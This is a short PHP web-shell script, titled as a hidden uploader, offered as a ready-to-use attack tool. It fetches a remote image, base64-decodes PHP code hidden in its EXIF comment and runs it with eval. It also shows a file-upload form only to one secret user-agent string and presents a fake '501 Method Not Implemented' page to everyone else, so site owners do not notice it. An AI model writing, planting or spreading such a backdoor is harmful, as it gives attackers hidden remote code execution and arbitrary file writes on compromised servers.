Script Hidden Uploader

<?php
error_reporting(0);
$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
$useragent = $_SERVER['HTTP_USER_AGENT'];
if($useragent == 'Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4'){
        echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
        echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
                if( $_POST['_upl'] == "Upload" ){
                        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])){
                        echo '<b>Upload success !!! :D<b><br><br>';
                        }else{
                        echo '<b>Upload failed !!! :P</b><br><br>';
                        }
                }
}else{
   echo "<h1><b>501 Method Not Implemented</h1  ></b>";
}
?>